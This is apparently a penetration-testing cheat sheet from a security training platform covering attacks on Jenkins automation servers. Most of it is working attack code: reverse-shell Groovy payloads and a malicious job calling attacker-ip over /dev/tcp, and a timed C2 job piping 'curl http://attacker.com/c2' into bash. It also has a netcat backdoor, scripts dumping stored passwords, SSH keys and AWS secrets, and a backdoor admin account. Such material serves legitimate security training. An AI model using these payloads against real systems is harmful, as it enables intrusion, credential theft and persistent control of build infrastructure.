Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Jenkins

Default Ports: 8080 (HTTP), 8443 (HTTPS)

Jenkins is an open-source automation server widely used for continuous integration and continuous delivery (CI/CD). It automates building, testing, and deploying applications. Due to its powerful features including script execution and plugin ecosystem, Jenkins is a high-value target that can lead to complete infrastructure compromise.

Connect

Using Web Browser

Access Jenkins through its web interface for manual testing and interaction.

Basic Web Access

# HTTP access
http://target.com:8080
http://192.168.1.100:8080

# HTTPS access
https://target.com:8443

Common Jenkins Paths

# Common paths
http://target.com:8080/login
http://target.com:8080/signup
http://target.com:8080/dashboard
http://target.com:8080/manage
http://target.com:8080/script

Using Jenkins CLI

Use the official Jenkins CLI for automated job management and system interaction.

Download and Setup CLI

# Download Jenkins CLI
wget http://target.com:8080/jnlpJars/jenkins-cli.jar

# Use CLI (requires authentication)
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password who-am-i

Job Management

# List jobs
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password list-jobs

# Build job
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password build job-name

Using API

Use Jenkins REST API for automated interaction and data extraction.

Basic API Access

# Get Jenkins version
curl http://target.com:8080/api/json

# With authentication
curl -u username:API_TOKEN http://target.com:8080/api/json

Job Information

# Get jobs list
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name]

Recon

Service Detection with Nmap

Use Nmap to identify Jenkins installations and gather initial information:

nmap -p 8080,8443 -sV target.com

Identify Jenkins version and gather system information through various methods.

Version Detection Methods

# Get Jenkins version
curl -s http://target.com:8080 | grep -i "jenkins"

# From API
curl -s http://target.com:8080/api/json | jq .

# From headers
curl -I http://target.com:8080 | grep -i "x-jenkins"

# Version from login page
curl -s http://target.com:8080/login | grep "Jenkins ver"

Access Script Console

# Script console (if accessible)
http://target.com:8080/script

Anonymous Access Check

Test if Jenkins allows anonymous access to sensitive areas.

# Check if anonymous access is enabled
curl -s http://target.com:8080/asynchPeople/

# Check script console
curl -s http://target.com:8080/script

# Check job creation
curl -s http://target.com:8080/view/all/newJob

# Check system log
curl -s http://target.com:8080/log/all

Enumeration

User Enumeration

Discover Jenkins users and authentication mechanisms.

Manual User Discovery

# People directory (if accessible)
curl http://target.com:8080/asynchPeople/

# User API
curl http://target.com:8080/user/admin/api/json

# Signup page (check if enabled)
curl http://target.com:8080/signup

Automated User Enumeration

# Using Metasploit
use auxiliary/scanner/http/jenkins_enum
set RHOSTS target.com
set RPORT 8080
run

Job Enumeration

Enumerate Jenkins jobs and their configurations to identify potential attack vectors.

Job Discovery

# List all jobs
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name,url]

# Job details
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json

Build Information

# Build history
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json?tree=builds[number,url]

# Last build console output
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText

Plugin Enumeration

Identify installed plugins and check for known vulnerabilities.

# List installed plugins
curl -u username:API_TOKEN http://target.com:8080/pluginManager/api/json?depth=1

# Check for vulnerable plugins
curl -s http://target.com:8080/pluginManager/installed

# Update center
curl http://target.com:8080/updateCenter/api/json

Credentials Enumeration

Search for stored credentials and sensitive information in Jenkins.

Credentials Store Access

# Credentials store (requires admin)
curl -u username:API_TOKEN http://target.com:8080/credentials/

# Check job configurations for credentials
curl -u username:API_TOKEN http://target.com:8080/job/job-name/config.xml

Search for Sensitive Data

# Search for credentials in build logs
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText | grep -i "password\|secret\|token"

Node Enumeration

Enumerate Jenkins build nodes and system information.

# List build nodes
curl -u username:API_TOKEN http://target.com:8080/computer/api/json

# Node details
curl -u username:API_TOKEN http://target.com:8080/computer/(master)/api/json

# System information
curl -u username:API_TOKEN http://target.com:8080/systemInfo

Attack Vectors

Default and Weak Credentials

Jenkins installations often use default or weak credentials, especially in development environments.

Common Default Credentials

# Common default/weak credentials
admin:admin
jenkins:jenkins
admin:password
admin:jenkins
user:user

Credential Testing

# Try login
curl -X POST http://target.com:8080/j_acegi_security_check \
-d "j_username=admin&j_password=admin" \
-v

# Check response for session cookie

Brute Force Attack

Brute forcing Jenkins can reveal weak admin passwords, especially on development instances.

Using Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=loginError"

Using Metasploit

use auxiliary/scanner/http/jenkins_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE passwords.txt
run

Using Burp Suite Intruder

# Capture POST to /j_acegi_security_check
# Set j_password as payload position

Script Console Exploitation

The Jenkins script console allows execution of Groovy code with system privileges, making it a critical attack vector.

Basic Command Execution

// If script console is accessible
// http://target.com:8080/script

// Command execution
def cmd = "whoami"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
println "err> $serr"

Reverse Shell Payloads

// Reverse shell (Linux)
String host="attacker-ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

// Windows reverse shell
String host="attacker-ip";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Job Creation and Exploitation

Create malicious Jenkins jobs to execute arbitrary commands on the system.

Create Malicious Job

# Create malicious job via API
curl -X POST http://target.com:8080/createItem?name=backdoor \
-u username:API_TOKEN \
--data-binary @job-config.xml \
-H "Content-Type: application/xml"

Malicious Job Configuration

# job-config.xml with command execution
<project>
<builders>
<hudson.tasks.Shell>
<command>bash -i &gt;&amp; /dev/tcp/attacker-ip/4444 0&gt;&amp;1</command>
</hudson.tasks.Shell>
</builders>
</project>

Trigger Malicious Build

# Trigger build
curl -X POST http://target.com:8080/job/backdoor/build \
-u username:API_TOKEN

API Token Exploitation

Use Jenkins API tokens for authentication and privilege escalation.

Generate API Token

# Generate API token (requires login)
curl -X POST http://target.com:8080/user/username/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken \
-u username:password \
-d "newTokenName=my-token"

Use API Token

# Use API token
curl -u username:API_TOKEN http://target.com:8080/api/json

CVE Exploitation

Exploit known Jenkins vulnerabilities for system compromise.

Arbitrary File Read (CVE-2024-23897)

# CVE-2024-23897 (Arbitrary File Read)
# Jenkins < 2.441, < 2.426.3 LTS
java -jar jenkins-cli.jar -s http://target.com:8080/ help "@/etc/passwd"

Script Security Bypass (CVE-2019-1003000)

# CVE-2019-1003000 (Script Security Sandbox Bypass)
# Execute arbitrary code via Groovy script

Remote Code Execution (CVE-2018-1000861)

# CVE-2018-1000861 (Stapler Web Framework RCE)
# Use Metasploit
use exploit/multi/http/jenkins_metaprogramming
set RHOSTS target.com
set RPORT 8080
run

Plugin Vulnerabilities

Exploit vulnerabilities in Jenkins plugins for additional attack vectors.

# Git plugin - Command injection
# If Git plugin installed, check for command injection in repository URL

# Script Security plugin bypass
# Check for groovy script execution points

# Blue Ocean plugin - Path traversal
# CVE-2024-23898
curl http://target.com:8080/blue/rest/organizations/jenkins/pipelines/../../credentials/

# Credentials Binding plugin
# Check if credentials are exposed in build logs

Post-Exploitation

Credentials Harvesting

Extract stored credentials from Jenkins for lateral movement and privilege escalation.

Username/Password Credentials

// Dump all credentials (Script Console)
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
Jenkins.instance,
null,
null
);

for (c in creds) {
println(c.id + ":" + c.username + ":" + c.password);
}

SSH Key Credentials

// Dump SSH keys
def sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
Jenkins.instance,
null,
null
);

for (c in sshCreds) {
println(c.id + ":" + c.username);
println(c.privateKey);
}

AWS Credentials

// Dump AWS credentials
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
Jenkins.instance,
null,
null
);

for (c in awsCreds) {
println("ID: " + c.id);
println("Access Key: " + c.accessKey);
println("Secret Key: " + c.secretKey);
}

Persistence

Establish persistent access to Jenkins for long-term control.

Create Backdoor Admin User

// Create backdoor admin user (Script Console)
def hudsonRealm = new hudson.security.HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("backdoor", "P@ssw0rd123!")
Jenkins.instance.setSecurityRealm(hudsonRealm)
def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
strategy.setAllowAnonymousRead(false)
Jenkins.instance.setAuthorizationStrategy(strategy)
Jenkins.instance.save()

Create Persistent C2 Job

// Create persistent job for C2
// Job that checks external server for commands
def jobConfig = """
<project>
<triggers>
<hudson.triggers.TimerTrigger>
<spec>*/5 * * * *</spec>
</hudson.triggers.TimerTrigger>
</triggers>
<builders>
<hudson.tasks.Shell>
<command>
curl http://attacker.com/c2 | bash
</command>
</hudson.tasks.Shell>
</builders>
</project>
"""

Lateral Movement

Use Jenkins as a pivot point for network reconnaissance and lateral movement.

Network Discovery

// Enumerate network from Jenkins (Script Console)
def hosts = []
for (int i=1; i<255; i++) {
try {
def addr = InetAddress.getByName("192.168.1." + i)
if (addr.isReachable(1000)) {
hosts.add(addr.getHostAddress())
}
} catch (Exception e) {}
}
println hosts

Port Scanning

// Port scan
def scanPorts(String host, List ports) {
def open = []
ports.each { port ->
try {
def socket = new Socket()
socket.connect(new InetSocketAddress(host, port), 1000)
open.add(port)
socket.close()
} catch (Exception e) {}
}
return open
}

def result = scanPorts("192.168.1.100", [22, 80, 443, 3389, 8080])
println "Open ports: " + result

Source Code and Secret Extraction

Extract source code and sensitive information from Jenkins jobs and builds.

Download Source Code

# Download workspace with source code
curl -u username:API_TOKEN \
http://target.com:8080/job/project/ws/*zip*/ws.zip \
-o workspace.zip

Extract Secrets from Build Logs

# Extract secrets from build logs
for job in $(curl -s -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name] | jq -r '.jobs[].name'); do
curl -s -u username:API_TOKEN http://target.com:8080/job/$job/lastBuild/consoleText | \
grep -Ei "password|secret|token|key|credential" >> secrets.txt
done

Analyze Job Configurations

# Download job configurations
curl -u username:API_TOKEN http://target.com:8080/job/project/config.xml | \
grep -Ei "password|secret|credential"

Cloud Infrastructure Access

Use Jenkins-stored cloud credentials to access cloud infrastructure.

// If AWS credentials are configured
// Use them to access AWS resources
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
Jenkins.instance,
null,
null
)[0]

// Access AWS
def accessKey = awsCreds.accessKey
def secretKey = awsCreds.secretKey.plainText

// Now use AWS CLI or SDK with these credentials
println "export AWS_ACCESS_KEY_ID=" + accessKey
println "export AWS_SECRET_ACCESS_KEY=" + secretKey

Common Jenkins Paths

PathDescriptionRequires Auth
/scriptGroovy script consoleYes (admin)
/manageManage JenkinsYes (admin)
/credentials/Credentials storeYes (admin)
/asynchPeople/User directoryVaries
/systemInfoSystem informationYes
/scriptScript consoleYes (admin)
/view/all/newJobCreate jobYes
/pluginManager/Plugin managementYes (admin)
/computer/Build nodesYes
/log/allSystem logsYes

Useful Groovy Scripts

// List all environment variables
System.getenv().each { k, v -> println "${k}:${v}" }

// Read file
println new File('/etc/passwd').text

// Write file
new File('/tmp/backdoor.sh').write('#!/bin/bash\nnc attacker-ip 4444 -e /bin/bash')

// Execute command and get output
def proc = "ls -la /".execute()
println proc.text

// Download and execute
new URL('http://attacker.com/shell.sh').openStream().eachLine { line ->
println line
}
"chmod +x /tmp/shell.sh".execute()
"/tmp/shell.sh".execute()

Useful Tools

ToolDescriptionPrimary Use Case
jenkins-cli.jarOfficial CLIJob management
curlHTTP clientAPI interaction
Burp SuiteWeb proxyRequest manipulation
MetasploitExploitation frameworkAutomated exploitation
NmapNetwork scannerService detection

Security Misconfigurations to Test

  • ❌ No authentication required
  • ❌ Anonymous read access enabled
  • ❌ Script console accessible without authentication
  • ❌ Default or weak credentials
  • ❌ Signup enabled
  • ❌ Outdated Jenkins version
  • ❌ Vulnerable plugins installed
  • ❌ Credentials stored in job configurations
  • ❌ No HTTPS encryption
  • ❌ CSRF protection disabled
  • ❌ Permissive authorization strategy
  • ❌ Build agents with excessive permissions